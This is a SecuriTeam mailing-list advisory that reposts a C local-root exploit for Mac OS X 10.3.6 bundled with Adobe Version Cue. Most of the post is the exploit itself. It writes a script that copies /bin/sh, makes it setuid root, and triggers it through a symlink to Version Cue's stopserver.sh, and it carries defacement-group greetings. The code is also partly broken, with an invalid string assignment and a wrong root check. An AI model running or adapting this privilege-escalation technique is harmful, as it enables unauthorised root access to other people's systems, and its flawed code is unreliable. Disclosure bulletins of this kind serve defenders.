[EXPL] Mac OS X / Adobe Version Cue Local Root (Exploit)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Mac OS X / Adobe Version Cue Local Root (Exploit)
------------------------------------------------------------------------


SUMMARY

A vulnerability in Mac OS X when its bundled with Adobe Version Cue allows 
a local attacker to create a suid root shell with a non-privileged user. 
Adobe Version Cue is installed by default with virtually every recent 
Adobe product. This most likely affects many versions of Mac OS X and 
Adobe Version Cue.

DETAILS

Vulnerable Systems:
 * Mac OS X version 10.3.6 with Adobe products

Exploit:
/************************************************\
 [ Mac OS X - Adobe Version Cue local root exploit ]
          c version exploit
        --=== by ActionSpider ===--
           Iam sun-os hehehe  [email protected]

[http://www.Ashiyane.com]
[http://www.Ashiyane.net]
[http://defacers.com.mx ]
                                                     
*************************************************|
Greetz to: [ Behrooz & Nima  &  Ehsan & str0ke & Status-x  & Mafia_Boy  &  
stealh  ]
&&
Greetz to: [  and all member of SegmentationFault Group
Code written By ActionSpider Mac OS X - Adobe Version [C] version 
Exploit;)
\************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>

int main(){
int x =1;
char a= "root";

printf("\t[ Mac OS X - Adobe Version Cue local root exploit ]\n");
printf("\t\t--==Code written By ActionSpider==--\n");
printf("\t\t [email protected]=--\n");
printf("\t\t\t[ www.Ashiayne.com ]\n\n\n");

printf("w8 for geting root man...\n");
for (x=1;x<=75;x++){
    printf("#");}

printf("\nyour id now:");
system("id");
printf("touch productname.sh...");
system("echo cp /bin/sh /Users/$USER; >> productname.sh");
system("echo chmod 4755 /Users/$USER/sh; >> productname.sh");
system("echo chown root /Users/$USER/sh >> productname.sh");
printf("chmod productname.sh 0755");
system("chmod 0755 ./productname.sh");
printf("ok w8 for touch link...");
system("ln -s $path/stopserver.sh");
printf("exection it :p hehe\n");
system("./stopserver.sh");
system("./sh");
printf("ok w8 for see system rooted or not \n\n");

system("id");
    if (system("whoami") == a)
printf("\n\n ok system now rooted hehe...:P");
    else
printf("sory this server is patch :(\n");
}

/* EOF */


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> ali 
reza AcTiOnSpIdEr .
The advisory can found at:  
<http://www.securiteam.com/securitynews/6M00B0KC0U.html> 
http://www.securiteam.com/securitynews/6M00B0KC0U.html



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] 
In order to subscribe to the mailing list, simply forward this email to: [email protected] 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any kind. 
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.